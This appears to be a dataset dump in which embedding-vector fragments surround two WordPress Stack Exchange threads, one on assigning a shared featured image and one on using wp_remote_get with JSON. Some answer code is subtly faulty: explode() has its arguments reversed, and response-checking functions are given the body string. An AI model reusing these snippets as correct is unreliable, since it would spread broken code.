-0.01335906982421875,
-0.0206756591796875,
-0.00186920166015625,
0.033905029296875,
-0.004505157470703125,
0.018463134765625,
-0.0121612548828125,
0.0196075439453125,
0.0277862548828125,
-0.0205535888671875,
0.0278167724609375,
0.00830078125,
-0.006908416748046875,
0.0214080810546875,
0.00467681884765625,
-0.030181884765625,
-0.01861572265625,
-0.01490020751953125,
0.01035308837890625,
-0.0211334228515625,
-0.0187530517578125,
-0.059112548828125,
-0.00925445556640625,
0.054290771484375,
0.011962890625,
-0.028472900390625,
0.0272979736328125,
-0.03594970703125,
-0.00955963134765625,
0.02008056640625,
0.007053375244140625,
0.0015707015991210938,
0.0017147064208984375,
-0.0305023193359375,
-0.034149169921875,
-0.022247314453125,
0.034088134765625,
-0.01100921630859375,
0.0171356201171875,
0.0240478515625,
-0.0111236572265625,
0.0182342529296875,
0.00948333740234375,
-0.0115203857421875,
0.05828857421875,
-0.03466796875,
-0.036651611328125,
0.00951385498046875,
-0.017120361328125,
0.0040283203125,
-0.03289794921875,
0.0033550262451171875,
-0.0693359375,
-0.00823211669921875,
-0.060333251953125,
0.00745391845703125,
-0.01084136962890625,
-0.050994873046875,
-0.06256103515625,
0.041656494140625,
-0.0262451171875,
-0.0188751220703125,
-0.044219970703125,
0.00782012939453125,
-0.01128387451171875,
0.019866943359375,
-0.00341796875,
-0.025238037109375,
0.00733184814453125,
0.04302978515625,
-0.004909515380859375,
-0.026153564453125,
0.033721923828125,
-0.027923583984375,
-0.03228759765625,
0.0163116455078125,
0.0286865234375,
-0.016357421875,
0.0460205078125,
-0.0229644775390625,
0.034149169921875,
0.0609130859375,
-0.02081298828125,
-0.05682373046875,
-0.02679443359375,
-0.05157470703125,
-0.0176239013671875,
-0.01412200927734375,
-0.02313232421875,
-0.005176544189453125,
0.09375,
0.06622314453125,
0.026641845703125,
-0.0345458984375,
-0.03564453125,
-0.03729248046875,
-0.0206298828125,
-0.00643157958984375,
0.01096343994140625,
-0.05950927734375,
0.0005893707275390625,
0.0175018310546875,
0.0203857421875,
-0.00201416015625,
0.005664825439453125,
-0.01031494140625,
-0.0231170654296875,
0.006404876708984375,
-0.0200347900390625,
-0.02642822265625,
-0.0770263671875,
0.07415771484375,
-0.04425048828125,
-0.0228729248046875,
0.0255584716796875,
0.041046142578125,
0.00955963134765625,
0.0208892822265625,
-0.00835418701171875,
-0.0074310302734375,
0.01311492919921875,
0.0286865234375,
0.00628662109375,
0.0012502670288085938,
-0.0099945068359375,
-0.0086822509765625,
0.023193359375,
0.0266876220703125,
-0.0192718505859375,
0.049530029296875,
0.026763916015625,
0.018218994140625,
-0.021148681640625,
0.06982421875,
0.0264739990234375,
-0.01389312744140625,
-0.0106201171875,
0.046966552734375,
-0.0280609130859375,
-0.0211181640625,
-0.0251312255859375,
-0.0151519775390625,
0.00960540771484375,
0.021087646484375,
0.054290771484375,
-0.03179931640625,
0.035247802734375,
-0.055419921875,
0.031494140625,
0.01183319091796875
] |
869b8c50c9037628a25cec1fed8643d957f2c0cb
|
Wordpress Stackexchange
Q: Set featured image for multiple posts Does anyone know how I can set an image as featured image for multiple posts.
I have posts in a seri that I would like to use the same image as featured image.
bulk edit doesn't have featured image in there though.
A: You could hook into the publish_post action, check if a featured image has been set, and if not, assign the image you want as the featured image.
The publish_post Codex page has a nice example about changing a post after it has been published.
|
Q: Set featured image for multiple posts Does anyone know how I can set an image as featured image for multiple posts.
I have posts in a seri that I would like to use the same image as featured image.
bulk edit doesn't have featured image in there though.
A: You could hook into the publish_post action, check if a featured image has been set, and if not, assign the image you want as the featured image.
The publish_post Codex page has a nice example about changing a post after it has been published.
A: we can use echo get_the_post_thumbnail($page_ID, 'thumbnail');
in php tag, where is the page/post id the page/post from where we want to display the featured image. Here is a link for it get_the_post_thumbnail
A: You can do it in your function.php
update_post_meta($post_id, '_thumbnail_id', $thumbnail_id);
You can also create a function to do this, with as custom fields of the "main" post.
function setSameThumbnails($post_id) {
// I assume that your custom field will be something like "31,64,43" for posts ids
$posts = get_post_meta($post_id, 'same_thumbnail', true);
if($posts)
{
$posts = explode($posts, ',');
if(is_array($posts))
{
foreach($posts as $post)
{
update_post_meta($post, '_thumbnail_id', get_post_thumbnail_id($post_id));
}
}
}
}
add_action('save_post', 'setSameThumbnails');
|
wordpress
|
{
"language": "en",
"length": 199,
"provenance": "stackexchange_00019.jsonl.gz:437609",
"question_score": "4",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/115792"
}
|
[
0.03717041015625,
-0.021331787109375,
0.02569580078125,
-0.0124359130859375,
-0.01450347900390625,
-0.018646240234375,
0.041107177734375,
-0.036712646484375,
0.036376953125,
-0.0034618377685546875,
-0.01427459716796875,
0.002185821533203125,
-0.044281005859375,
-0.02008056640625,
-0.022674560546875,
-0.01947021484375,
0.0266571044921875,
-0.017822265625,
0.0377197265625,
0.0002079010009765625,
0.007465362548828125,
0.0128173828125,
0.0173492431640625,
0.0253143310546875,
0.034637451171875,
0.024749755859375,
-0.00925445556640625,
-0.006237030029296875,
0.0010004043579101562,
-0.0015153884887695312,
0.0257568359375,
0.014801025390625,
0.021148681640625,
0.0257110595703125,
-0.0258941650390625,
-0.002475738525390625,
-0.0054779052734375,
0.0021724700927734375,
-0.009735107421875,
0.020721435546875,
0.00839996337890625,
0.004848480224609375,
0.061309814453125,
0.01403045654296875,
0.0086822509765625,
-0.0078887939453125,
-0.014678955078125,
-0.0655517578125,
0.044342041015625,
-0.0194549560546875,
-0.00635528564453125,
0.024139404296875,
-0.00452423095703125,
-0.01153564453125,
-0.032470703125,
-0.04119873046875,
-0.01215362548828125,
0.03460693359375,
0.06170654296875,
-0.0221405029296875,
-0.05731201171875,
-0.038360595703125,
0.03497314453125,
-0.0379638671875,
0.00710296630859375,
-0.013214111328125,
-0.0161590576171875,
0.005336761474609375,
-0.04180908203125,
0.01348114013671875,
0.040557861328125,
-0.03936767578125,
0.00202178955078125,
-0.016448974609375,
0.006320953369140625,
0.006755828857421875,
-0.031219482421875,
-0.01898193359375,
0.0249786376953125,
-0.0017232894897460938,
-0.004886627197265625,
-0.006351470947265625,
0.025787353515625,
-0.0015554428100585938,
-0.0211639404296875,
0.004505157470703125,
-0.0150146484375,
0.00994873046875,
-0.03424072265625,
-0.0234222412109375,
-0.019256591796875,
-0.06488037109375,
-0.05029296875,
0.06585693359375,
0.00556182861328125,
0.01345062255859375,
0.0305328369140625,
0.03717041015625,
-0.0179901123046875,
0.018829345703125,
-0.0271148681640625,
-0.0269775390625,
0.0230560302734375,
-0.040130615234375,
0.005405426025390625,
-0.0267486572265625,
0.01055145263671875,
-0.0018444061279296875,
0.01226806640625,
0.0208892822265625,
-0.045684814453125,
0.032867431640625,
0.03448486328125,
0.0043792724609375,
-0.0306243896484375,
-0.0199737548828125,
-0.03460693359375,
0.020233154296875,
0.01259613037109375,
0.017364501953125,
0.03515625,
0.041778564453125,
0.0209503173828125,
-0.044464111328125,
-0.0192718505859375,
-0.0038738250732421875,
-0.020965576171875,
-0.0697021484375,
0.007595062255859375,
0.0233154296875,
-0.044464111328125,
0.02117919921875,
0.06878662109375,
0.011688232421875,
0.00757598876953125,
-0.0218963623046875,
-0.0171661376953125,
0.0018148422241210938,
-0.00988006591796875,
0.000030100345611572266,
-0.0254364013671875,
-0.0110321044921875,
0.061248779296875,
-0.0172119140625,
-0.0296478271484375,
0.047882080078125,
0.01132965087890625,
-0.011627197265625,
-0.02020263671875,
-0.0565185546875,
-0.021942138671875,
-0.039337158203125,
-0.0259246826171875,
0.02496337890625,
0.08111572265625,
-0.006214141845703125,
0.0304718017578125,
-0.0157623291015625,
0.05621337890625,
0.00408172607421875,
0.03936767578125,
0.01483154296875,
0.04913330078125,
0.03973388671875,
0.005199432373046875,
-0.018096923828125,
-0.048004150390625,
-0.0137481689453125,
0.0161285400390625,
-0.03924560546875,
-0.04180908203125,
0.0240325927734375,
0.02325439453125,
-0.01100921630859375,
-0.0182037353515625,
0.0247802734375,
-0.007312774658203125,
-0.0042724609375,
0.009307861328125,
0.054351806640625,
0.01461029052734375,
-0.0287017822265625,
0.0164794921875,
0.01019287109375,
-0.035369873046875,
0.0242767333984375,
-0.00949859619140625,
0.060150146484375,
0.037078857421875,
0.0153045654296875,
-0.0228729248046875,
-0.0237274169921875,
-0.025482177734375,
0.005252838134765625,
0.031524658203125,
-0.02227783203125,
-0.034942626953125,
-0.0325927734375,
0.0006375312805175781,
-0.0112762451171875,
0.02783203125,
-0.04095458984375,
0.025848388671875,
0.0106353759765625,
-0.006427764892578125,
-0.01174163818359375,
-0.0159912109375,
-0.004512786865234375,
-0.0200653076171875,
0.0176239013671875,
0.01971435546875,
-0.0006561279296875,
0.03314208984375,
-0.09246826171875,
-0.0014295578002929688,
0.025360107421875,
-0.01458740234375,
-0.01508331298828125,
-0.0027866363525390625,
0.005275726318359375,
-0.004669189453125,
0.004589080810546875,
-0.010650634765625,
0.0233612060546875,
0.04736328125,
-0.01403045654296875,
-0.024139404296875,
-0.043670654296875,
-0.01137542724609375,
-0.00249481201171875,
-0.07086181640625,
0.06427001953125,
0.02862548828125,
0.02606201171875,
-0.0004699230194091797,
-0.006252288818359375,
0.0207366943359375,
-0.06988525390625,
0.0047454833984375,
0.035003662109375,
0.0244293212890625,
0.0100555419921875,
0.00745391845703125,
0.0305633544921875,
0.043548583984375,
0.0202178955078125,
0.038360595703125,
-0.011688232421875,
0.0161895751953125,
0.01544189453125,
-0.002368927001953125,
-0.01302337646484375,
0.0292510986328125,
-0.08258056640625,
0.039520263671875,
0.028076171875,
-0.0031871795654296875,
-0.0168609619140625,
-0.00705718994140625,
0.0298309326171875,
0.007160186767578125,
0.02655029296875,
-0.020111083984375,
0.015655517578125,
0.022552490234375,
0.01467132568359375,
0.01558685302734375,
0.01141357421875,
-0.03619384765625,
0.0204315185546875,
0.018341064453125,
-0.0068511962890625,
0.018890380859375,
0.036224365234375,
0.00001055002212524414,
-0.0023860931396484375,
0.0258331298828125,
-0.0263824462890625,
0.00782012939453125,
0.0024204254150390625,
-0.0246429443359375,
-0.036712646484375,
-0.018890380859375,
-0.0045166015625,
0.0103912353515625,
-0.04296875,
0.03228759765625,
-0.006244659423828125,
-0.006679534912109375,
-0.0455322265625,
-0.0102691650390625,
0.0418701171875,
-0.0086669921875,
0.04107666015625,
-0.00676727294921875,
-0.01538848876953125,
-0.04754638671875,
-0.058685302734375,
0.043060302734375,
-0.037506103515625,
0.03363037109375,
0.08245849609375,
0.00457763671875,
0.01824951171875,
-0.00902557373046875,
0.046173095703125,
-0.001682281494140625,
-0.01541900634765625,
-0.01995849609375,
-0.02301025390625,
-0.042205810546875,
-0.00644683837890625,
0.043365478515625,
0.044219970703125,
-0.01538848876953125,
-0.01666259765625,
-0.01306915283203125,
0.031707763671875,
-0.05120849609375,
-0.055511474609375,
0.00336456298828125,
0.0029697418212890625,
-0.002685546875,
-0.0092010498046875,
0.005054473876953125,
-0.015899658203125,
-0.0008425712585449219,
-0.0128936767578125,
-0.00943756103515625,
0.0112762451171875,
0.0255889892578125,
-0.0033130645751953125,
-0.0189361572265625,
-0.046600341796875,
0.0018072128295898438,
-0.009063720703125,
0.007442474365234375,
0.060943603515625,
0.00920867919921875,
-0.037811279296875,
0.004390716552734375,
0.006679534912109375,
-0.02032470703125,
0.00983428955078125,
0.036163330078125,
-0.007801055908203125,
-0.0240936279296875,
0.00830841064453125,
-0.0189971923828125,
0.037078857421875,
-0.04486083984375,
-0.01384735107421875,
-0.0279693603515625,
-0.01947021484375,
0.0005741119384765625,
0.01131439208984375,
0.01018524169921875,
0.0047607421875,
0.043304443359375,
-0.0277862548828125,
-0.024505615234375,
-0.034698486328125,
-0.0672607421875,
-0.0207672119140625,
0.048614501953125,
0.01439666748046875,
-0.03973388671875,
0.005123138427734375,
0.00658416748046875,
-0.00470733642578125,
0.0311431884765625,
-0.044158935546875,
0.07415771484375,
-0.00716400146484375,
0.002376556396484375,
-0.053802490234375,
-0.0269317626953125,
-0.01702880859375,
0.0592041015625,
-0.0181427001953125,
0.035003662109375,
-0.03955078125,
0.08544921875,
-0.062255859375,
-0.0283660888671875,
0.01143646240234375,
-0.04248046875,
0.050689697265625,
-0.0303497314453125,
-0.023101806640625,
-0.009429931640625,
0.08245849609375,
-0.041748046875,
-0.018218994140625,
-0.042083740234375,
-0.001567840576171875,
0.007717132568359375,
-0.0192108154296875,
-0.0246124267578125,
-0.014190673828125,
-0.046051025390625,
-0.01152801513671875,
-0.0018434524536132812,
-0.041168212890625,
0.0015735626220703125,
0.01390838623046875,
-0.0283660888671875,
-0.0278167724609375,
0.041290283203125,
-0.040771484375,
0.00020396709442138672,
0.046417236328125,
-0.032379150390625,
0.01247406005859375,
-0.057830810546875,
-0.0174102783203125,
-0.06890869140625,
0.005466461181640625,
-0.03778076171875,
0.03643798828125,
0.0106964111328125,
-0.0009822845458984375,
0.00600433349609375,
0.048919677734375,
0.038909912109375,
0.024078369140625,
-0.0032787322998046875,
-0.0257720947265625,
0.0202178955078125,
-0.03570556640625,
-0.00667572021484375,
-0.032806396484375,
-0.022064208984375,
-0.031982421875,
-0.047393798828125,
-0.0003323554992675781,
-0.027435302734375,
0.0009145736694335938,
0.0026721954345703125,
-0.007480621337890625,
-0.019256591796875,
-0.0237274169921875,
0.060394287109375,
0.0589599609375,
0.032684326171875,
-0.0006923675537109375,
-0.064453125,
-0.01386260986328125,
0.032501220703125,
-0.009796142578125,
-0.000431060791015625,
0.01166534423828125,
0.08135986328125,
0.0008859634399414062,
-0.0038471221923828125,
-0.09979248046875,
-0.0043792724609375,
0.028900146484375,
0.051971435546875,
-0.033721923828125,
-0.01165008544921875,
-0.01611328125,
-0.0377197265625,
0.033599853515625,
-0.0479736328125,
-0.0139617919921875,
0.043701171875,
0.0256500244140625,
0.0095062255859375,
-0.021514892578125,
-0.0286712646484375,
0.07965087890625,
0.0265350341796875,
0.0128631591796875,
-0.0257568359375,
-0.053131103515625,
0.035552978515625,
0.024810791015625,
-0.005168914794921875,
-0.04443359375,
-0.044921875,
0.0005784034729003906,
0.051849365234375,
0.02783203125,
0.03082275390625,
0.003955841064453125,
0.043670654296875,
0.045196533203125,
0.0023975372314453125,
-0.00031566619873046875,
-0.05352783203125,
0.01220703125,
0.019622802734375,
-0.01145172119140625,
0.0177001953125,
0.01910400390625,
0.0034885406494140625,
0.0085296630859375,
-0.018035888671875,
-0.057830810546875,
-0.03759765625,
0.00655364990234375,
0.0176239013671875,
0.0202484130859375,
0.01165008544921875,
0.0188140869140625,
0.040313720703125,
-0.006694793701171875,
0.007152557373046875,
0.03411865234375,
0.0056304931640625,
-0.0259552001953125,
-0.0008144378662109375,
0.0228271484375,
-0.01383209228515625,
0.050323486328125,
0.0287933349609375,
0.0010957717895507812,
0.0411376953125,
-0.018951416015625,
0.038787841796875,
0.052337646484375,
-0.012939453125,
0.0006093978881835938,
0.0947265625,
-0.05657958984375,
0.0004930496215820312,
-0.015167236328125,
-0.0176544189453125,
0.0209808349609375,
-0.019073486328125,
0.044464111328125,
-0.0030078887939453125,
-0.0196075439453125,
0.0274505615234375,
-0.046051025390625,
-0.01983642578125,
0.034881591796875,
-0.024139404296875,
-0.051116943359375,
-0.0277557373046875,
0.01438140869140625,
0.044464111328125,
-0.01361846923828125,
-0.018524169921875,
-0.03778076171875,
-0.03033447265625,
-0.019775390625,
-0.016082763671875,
-0.06060791015625,
0.028961181640625,
0.0164947509765625,
-0.04461669921875,
-0.0117950439453125,
0.0009646415710449219,
-0.0313720703125,
-0.01446533203125,
-0.0171966552734375,
-0.019500732421875,
0.0452880859375,
-0.04705810546875,
-0.0030994415283203125,
0.00681304931640625,
0.01308441162109375,
-0.002689361572265625,
0.028228759765625,
0.036102294921875,
0.040435791015625,
-0.007350921630859375,
-0.0082244873046875,
-0.03399658203125,
-0.01812744140625,
0.0228118896484375,
-0.00843048095703125,
-0.0226898193359375,
-0.0202178955078125,
0.0273895263671875,
0.04107666015625,
-0.0158233642578125,
-0.037353515625,
-0.007801055908203125,
0.01360321044921875,
0.027496337890625,
0.09625244140625,
-0.0318603515625,
-0.01239776611328125,
0.018157958984375,
0.0238494873046875,
-0.0256195068359375,
-0.048858642578125,
0.0217437744140625,
-0.011383056640625,
-0.06494140625,
-0.059661865234375,
0.050872802734375,
0.096435546875,
-0.011566162109375,
0.01102447509765625,
0.01245880126953125,
0.050537109375,
0.03167724609375,
-0.031982421875,
0.01055908203125,
-0.034088134765625,
0.007808685302734375,
-0.0810546875,
-0.0021762847900390625,
0.004482269287109375,
-0.0276031494140625,
0.00469970703125,
0.007259368896484375,
-0.0142669677734375,
-0.000308990478515625,
-0.0159454345703125,
-0.01525115966796875,
0.037017822265625,
0.006336212158203125,
-0.0186920166015625,
0.034027099609375,
-0.00794219970703125,
0.035247802734375,
0.0191192626953125,
0.0028705596923828125,
0.034942626953125,
-0.013214111328125,
-0.023712158203125,
-0.01427459716796875,
-0.012664794921875,
-0.0233154296875,
0.02728271484375,
-0.002231597900390625,
0.01500701904296875,
0.00901031494140625,
-0.01555633544921875,
0.036956787109375,
-0.00797271728515625,
0.0177459716796875,
-0.0002579689025878906,
-0.006816864013671875,
0.0545654296875,
0.02166748046875,
0.0185699462890625,
0.0419921875,
-0.0238037109375,
-0.012786865234375,
-0.00858306884765625,
0.006267547607421875,
-0.003814697265625,
-0.017974853515625,
0.0106658935546875,
0.016998291015625,
0.0135040283203125,
-0.072509765625,
-0.003082275390625,
0.0748291015625,
-0.0313720703125,
-0.0119781494140625,
0.0193939208984375,
-0.00150299072265625,
-0.02239990234375,
-0.04083251953125,
0.02545166015625,
-0.004425048828125,
-0.0165557861328125,
0.02117919921875,
-0.019622802734375,
0.035125732421875,
0.0214691162109375,
-0.00284576416015625,
0.00322723388671875,
0.004772186279296875,
-0.040863037109375,
0.01458740234375,
-0.006961822509765625,
-0.004253387451171875,
0.020721435546875,
-0.055450439453125,
0.006534576416015625,
-0.04656982421875,
0.0419921875,
-0.0128021240234375,
-0.0286865234375,
0.05120849609375,
-0.0172576904296875,
-0.0190887451171875,
0.0062713623046875,
0.051666259765625,
0.0033931732177734375,
0.01378631591796875,
0.0247039794921875,
-0.032928466796875,
-0.021575927734375,
0.0000559687614440918,
-0.050628662109375,
-0.015167236328125,
-0.01087188720703125,
-0.06829833984375,
0.11212158203125,
-0.047454833984375,
0.049163818359375,
-0.006103515625,
0.0501708984375,
0.0242919921875,
0.02459716796875,
-0.0267486572265625,
0.02740478515625,
-0.11328125,
0.055419921875,
-0.05743408203125,
0.0255279541015625,
0.00203704833984375,
-0.00778961181640625,
0.049407958984375,
0.01103973388671875,
-0.016937255859375,
-0.00551605224609375,
0.060211181640625,
0.0306549072265625,
-0.0086822509765625,
0.029571533203125,
-0.0221710205078125,
0.0169677734375,
0.01531982421875,
-0.0277557373046875,
0.010040283203125,
0.00691986083984375,
-0.045501708984375,
0.0196075439453125,
0.0089263916015625,
0.0155181884765625,
0.03369140625,
0.03167724609375,
-0.059600830078125,
0.0265960693359375,
0.060089111328125,
-0.0413818359375,
0.03472900390625,
-0.005279541015625,
0.01242828369140625,
-0.01399993896484375,
0.049896240234375,
-0.01381683349609375,
0.047821044921875,
-0.009979248046875,
0.02490234375,
0.01474761962890625,
-0.004688262939453125,
0.00738525390625,
0.042755126953125,
0.020355224609375,
0.043701171875,
0.00736236572265625,
0.04241943359375,
0.007610321044921875,
0.0374755859375,
-0.053863525390625,
-0.027618408203125,
0.01204681396484375,
0.055908203125,
-0.024627685546875,
-0.010406494140625,
0.00884246826171875,
0.0174407958984375,
0.005367279052734375,
-0.04339599609375,
-0.0272216796875,
-0.04705810546875,
0.01219940185546875,
0.01210784912109375,
-0.00846099853515625,
0.0250244140625,
0.034759521484375,
0.01093292236328125,
-0.00696563720703125,
-0.036590576171875,
-0.019775390625,
-0.0208587646484375,
-0.004730224609375,
0.00836181640625,
0.0286865234375,
0.00998687744140625,
0.0518798828125,
0.0098724365234375,
0.006031036376953125,
-0.0262603759765625,
0.052490234375,
0.0251617431640625,
0.03436279296875,
-0.034881591796875,
-0.03173828125,
0.038177490234375,
0.0238800048828125,
0.0229644775390625,
-0.015960693359375,
0.032257080078125,
0.036102294921875,
-0.0672607421875,
-0.019927978515625,
0.037506103515625,
-0.0254974365234375,
0.03167724609375,
-0.0284423828125,
-0.01038360595703125,
-0.00177764892578125,
-0.044525146484375,
-0.00647735595703125,
-0.027587890625,
0.03497314453125,
-0.0157470703125,
0.01641845703125,
-0.00455474853515625,
-0.03314208984375,
-0.018310546875,
-0.018310546875,
0.026458740234375,
-0.01099395751953125,
-0.065673828125,
0.0054931640625,
-0.02783203125,
-0.06329345703125,
0.037841796875,
0.045806884765625,
-0.0333251953125,
0.01439666748046875,
-0.0146942138671875,
0.01297760009765625,
-0.0021266937255859375,
-0.0158233642578125,
0.00981903076171875,
-0.0179595947265625,
0.0198974609375,
-0.00876617431640625,
-0.015838623046875,
-0.00980377197265625,
0.01415252685546875,
0.021820068359375,
0.00641632080078125,
0.0111846923828125,
-0.00955963134765625,
0.02801513671875,
-0.0027980804443359375,
0.00733184814453125,
-0.0206451416015625,
0.01158905029296875,
0.007167816162109375,
-0.025177001953125,
-0.018798828125,
-0.01120758056640625,
-0.0250244140625,
0.023590087890625,
0.0322265625,
-0.01506805419921875,
-0.00555419921875,
0.01776123046875,
0.01537322998046875,
-0.0051727294921875,
0.040252685546875,
-0.0254364013671875,
-0.00018537044525146484,
-0.06317138671875,
-0.03271484375,
0.04754638671875,
-0.00952911376953125,
-0.01042938232421875,
0.007465362548828125,
0.050689697265625,
0.002117156982421875,
0.029815673828125,
0.0020580291748046875,
0.0504150390625,
0.04095458984375,
-0.01629638671875,
-0.048126220703125,
-0.0144195556640625,
-0.00464630126953125,
-0.028594970703125,
0.0160980224609375,
0.024688720703125,
-0.004238128662109375,
-0.0136260986328125,
0.026275634765625,
0.019195556640625,
0.0130157470703125,
-0.04937744140625,
-0.0026149749755859375,
0.050750732421875,
-0.0094451904296875,
-0.0188751220703125,
0.0257110595703125,
0.00482940673828125,
-0.025421142578125,
-0.0165252685546875,
0.0006394386291503906,
-0.019439697265625,
-0.0088958740234375,
-0.032318115234375,
0.0088348388671875,
0.0129241943359375,
0.0024776458740234375,
-0.050872802734375,
0.0260162353515625,
0.004673004150390625,
0.0277862548828125,
-0.006374359130859375,
-0.10723876953125,
0.0151519775390625,
0.0302276611328125,
-0.0318603515625,
-0.021820068359375,
-0.06378173828125,
-0.054779052734375,
-0.07281494140625,
0.0095977783203125,
0.0200347900390625,
-0.005889892578125,
-0.01456451416015625,
0.0293731689453125,
0.0008993148803710938,
0.08941650390625,
-0.037017822265625,
-0.0285186767578125,
-0.018951416015625,
0.00452423095703125,
0.0014104843139648438,
-0.026031494140625,
0.0266876220703125,
-0.0555419921875,
-0.04669189453125,
-0.073974609375,
0.04095458984375,
0.017791748046875,
-0.0498046875,
-0.121337890625,
0.05670166015625,
-0.0474853515625,
-0.042083740234375,
-0.033416748046875,
-0.00031447410583496094,
-0.0159454345703125,
0.0009493827819824219,
-0.00047659873962402344,
-0.0311279296875,
-0.00734710693359375,
0.03582763671875,
-0.006439208984375,
0.022003173828125,
0.0243682861328125,
0.00007081031799316406,
0.0150909423828125,
-0.004703521728515625,
0.0062255859375,
-0.03143310546875,
0.0189361572265625,
-0.0110931396484375,
0.032989501953125,
0.038665771484375,
-0.046234130859375,
-0.048095703125,
-0.0281524658203125,
-0.037200927734375,
-0.032989501953125,
0.0027561187744140625,
-0.0053558349609375,
0.030181884765625,
0.0809326171875,
0.0509033203125,
0.0194244384765625,
-0.0570068359375,
0.053680419921875,
-0.06396484375,
-0.01259613037109375,
0.0084686279296875,
0.000058531761169433594,
-0.0105438232421875,
0.01361083984375,
0.038909912109375,
-0.04766845703125,
-0.0265655517578125,
-0.006916046142578125,
-0.09033203125,
0.004413604736328125,
-0.056396484375,
0.0018606185913085938,
-0.046966552734375,
0.058319091796875,
0.01395416259765625,
-0.01381683349609375,
0.021881103515625,
-0.0190277099609375,
-0.036407470703125,
0.0194091796875,
0.008941650390625,
0.019775390625,
0.01488494873046875,
-0.026153564453125,
-0.004474639892578125,
0.01363372802734375,
-0.019256591796875,
-0.010284423828125,
-0.01290130615234375,
-0.0005698204040527344,
0.01800537109375,
-0.0129547119140625,
0.00937652587890625,
-0.00284576416015625,
0.0494384765625,
-0.01186370849609375,
0.053436279296875,
-0.05023193359375,
0.01422882080078125,
-0.025054931640625,
0.0275115966796875,
-0.044769287109375,
0.0298919677734375,
0.007793426513671875,
-0.0174102783203125,
0.0201416015625,
0.029083251953125,
0.0015535354614257812,
0.0250244140625,
0.002506256103515625,
0.027984619140625,
-0.01284027099609375,
-0.0016956329345703125
] |
8be2eb724f0033f0989c7026202cdfc308186769
|
Wordpress Stackexchange
Q: using wp_remote_get instead of file_get_contents have run my theme through the Theme checker plugin and it seems upset about use of file_get_contents to get a json url. I've found posts saying i should use wp_remote_get. I'm currently decoding the url with the following:
$url = 'url' . $var;
$json = file_get_contents($url,0,null,null);
$output = json_decode($json,true);
The message I get from the Theme Checker is:
WARNING: file_get_contents was found in the file.php possible file operations.
Is it just saying this because there is a function I could possibly use by wordpress or any other reasons? Also how would I use wp_remote_get. I tried a few variations, mostly replacing file_get_contents with wp_remote_get with no luck. Doesn't seem to decode the url at all.
A: Use wp_remote_get() in conjunction with wp_remote_retrieve_body()
Example
<?php
$request = wp_remote_get('http://example.com');
$response = wp_remote_retrieve_body( $request );
echo $response;
?>
Check the documentation for possible arguements
|
Q: using wp_remote_get instead of file_get_contents have run my theme through the Theme checker plugin and it seems upset about use of file_get_contents to get a json url. I've found posts saying i should use wp_remote_get. I'm currently decoding the url with the following:
$url = 'url' . $var;
$json = file_get_contents($url,0,null,null);
$output = json_decode($json,true);
The message I get from the Theme Checker is:
WARNING: file_get_contents was found in the file.php possible file operations.
Is it just saying this because there is a function I could possibly use by wordpress or any other reasons? Also how would I use wp_remote_get. I tried a few variations, mostly replacing file_get_contents with wp_remote_get with no luck. Doesn't seem to decode the url at all.
A: Use wp_remote_get() in conjunction with wp_remote_retrieve_body()
Example
<?php
$request = wp_remote_get('http://example.com');
$response = wp_remote_retrieve_body( $request );
echo $response;
?>
Check the documentation for possible arguements
A: You can use wp_remote_get() in the following way:
$url = 'url' . $var;
$request = wp_remote_get($url);
// Get the body of the response
$response = wp_remote_retrieve_body( $request );
// Decode the json
$output = json_decode( $response );
$output now has what you want and now you can go ahead and do your stuff.
There is a also a series of tutorials on wp_remote_get(). Go through it, it will definitely help.
Link -- Tutorial
Hope it helps.
A: If you need to send a JSON response, then there's a set of functions for that. In case you need that for an AJAX callback:
*
*wp_remote_retrieve_response_message()
*wp_remote_retrieve_response_code()
*wp_send_json_success()
*wp_send_json_error()
*wp_send_json()
Would finally be something like that:
$request = wp_remote_get( 'http://example.com' );
$response = wp_remote_retrieve_body( $request );
if (
'OK' !== wp_remote_retrieve_response_message( $response )
OR 200 !== wp_remote_retrieve_response_code( $response )
)
wp_send_json_error( $response );
wp_send_json_success( $response );
Both wp_send_json_success/_error() functions are wrappers for wp_send_json(), which includes wp_die() at the end. So there's nothing else to do.
Keep in mind that 99% of all remote APIs are sending 200/OK in case of errors. You'll still have to manually inspect the result and check for errors.
|
wordpress
|
{
"language": "en",
"length": 339,
"provenance": "stackexchange_00019.jsonl.gz:437636",
"question_score": "11",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/115896"
}
|
[
0.053314208984375,
-0.007648468017578125,
-0.0010652542114257812,
-0.0523681640625,
0.0139923095703125,
-0.041168212890625,
0.0206756591796875,
-0.0016012191772460938,
-0.01403045654296875,
0.012939453125,
-0.004772186279296875,
-0.0255279541015625,
-0.0043182373046875,
-0.02679443359375,
0.00991058349609375,
-0.050384521484375,
0.040252685546875,
0.0004973411560058594,
0.036773681640625,
0.0004954338073730469,
0.00913238525390625,
0.0196380615234375,
0.03692626953125,
0.0247650146484375,
0.0302886962890625,
-0.0214996337890625,
0.04412841796875,
-0.001922607421875,
0.0072784423828125,
-0.0164947509765625,
0.0221099853515625,
-0.0231781005859375,
0.027374267578125,
0.044036865234375,
-0.06573486328125,
-0.042572021484375,
-0.00685882568359375,
0.0194854736328125,
-0.038726806640625,
0.047027587890625,
0.00521087646484375,
0.0033550262451171875,
0.01012420654296875,
0.0298309326171875,
-0.022552490234375,
-0.040557861328125,
0.013336181640625,
-0.04345703125,
-0.03009033203125,
0.07781982421875,
0.003749847412109375,
-0.002742767333984375,
0.004001617431640625,
0.05438232421875,
0.006069183349609375,
-0.021636962890625,
0.0237884521484375,
-0.003131866455078125,
0.037994384765625,
-0.04449462890625,
-0.05743408203125,
0.014801025390625,
0.0304107666015625,
0.025360107421875,
-0.01012420654296875,
0.002544403076171875,
-0.01313018798828125,
0.0247039794921875,
-0.0504150390625,
-0.0260467529296875,
0.0229949951171875,
-0.038421630859375,
0.0010080337524414062,
-0.0218658447265625,
-0.005931854248046875,
0.006252288818359375,
-0.018585205078125,
-0.01091766357421875,
0.0164794921875,
0.0166015625,
-0.0005192756652832031,
-0.022918701171875,
-0.0333251953125,
-0.00551605224609375,
0.012603759765625,
-0.0010766983032226562,
-0.0035610198974609375,
-0.01538848876953125,
-0.06341552734375,
-0.0036029815673828125,
-0.03204345703125,
-0.05584716796875,
-0.0732421875,
0.0233917236328125,
0.0225677490234375,
-0.0213470458984375,
-0.046661376953125,
-0.00821685791015625,
-0.01334381103515625,
0.028411865234375,
0.016876220703125,
-0.01812744140625,
0.04046630859375,
-0.032501220703125,
0.013275146484375,
0.0074920654296875,
-0.0010290145874023438,
-0.0297393798828125,
